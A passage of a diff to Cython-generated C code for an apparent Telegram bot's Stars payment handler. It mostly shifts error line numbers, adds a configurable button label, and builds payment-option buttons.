__pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4665,7 +4670,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_6process_callback_pay_s __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_8generator2, __pyx_codeobj__4, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 52, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_8generator2, __pyx_codeobj__4, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_process_callback_pay_stars, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4732,21 +4737,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 52, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 54, __pyx_L1_error) __Pyx_INCREF(__pyx_kp_u_21U68SOLOBOT); __Pyx_GIVEREF(__pyx_kp_u_21U68SOLOBOT); __pyx_cur_scope->__pyx_v_expected_hash = __pyx_kp_u_21U68SOLOBOT; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_STARS_ROUTER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 57, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_cur_scope->__pyx_v_expected_hash, Py_NE)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 58, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -4767,26 +4772,26 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__5}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 58, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 60, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 62, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_kp_u_solonet_sup) < 0) __PYX_ERR(0, 62, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 60, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 62, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 61, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -4801,12 +4806,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 59, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 61, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 59, __pyx_L1_error) + else __PYX_ERR(0, 61, __pyx_L1_error) } } @@ -4816,19 +4821,19 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; __pyx_t_5 = 0; @@ -4848,7 +4853,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4856,18 +4861,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 69, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 71, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__6) < 0) __PYX_ERR(0, 71, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_kp_u_https_t_me_PremiumBot) < 0) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_STARS_BOT); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_kp_u_https_t_me_PremiumBot) < 0) __PYX_ERR(0, 73, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 70, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -4890,30 +4898,30 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_8 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_4 = PyTuple_New(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 75, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_int_0)) __PYX_ERR(0, 77, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_3); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 75, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_4, 2, __pyx_int_2)) __PYX_ERR(0, 77, __pyx_L1_error); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { @@ -4921,9 +4929,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_8 = 0; __pyx_t_9 = NULL; } else { - __pyx_t_8 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_8 = -1; __pyx_t_4 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_9 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 77, __pyx_L1_error) } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; for (;;) { @@ -4932,28 +4940,28 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou { Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 75, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #endif if (__pyx_t_8 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 75, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #endif if (__pyx_t_8 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } @@ -4963,7 +4971,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 75, __pyx_L1_error) + else __PYX_ERR(0, 77, __pyx_L1_error) } break; } @@ -4974,102 +4982,102 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_10 = PyObject_Length(__pyx_t_7); if (unlikely(__pyx_t_10 == ((Py_ssize_t)-1))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_10 = PyObject_Length(__pyx_t_7); if (unlikely(__pyx_t_10 == ((Py_ssize_t)-1))) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_7 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_t_7, Py_LT); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_t_7, Py_LT); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_2) { - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 79, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 79, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, 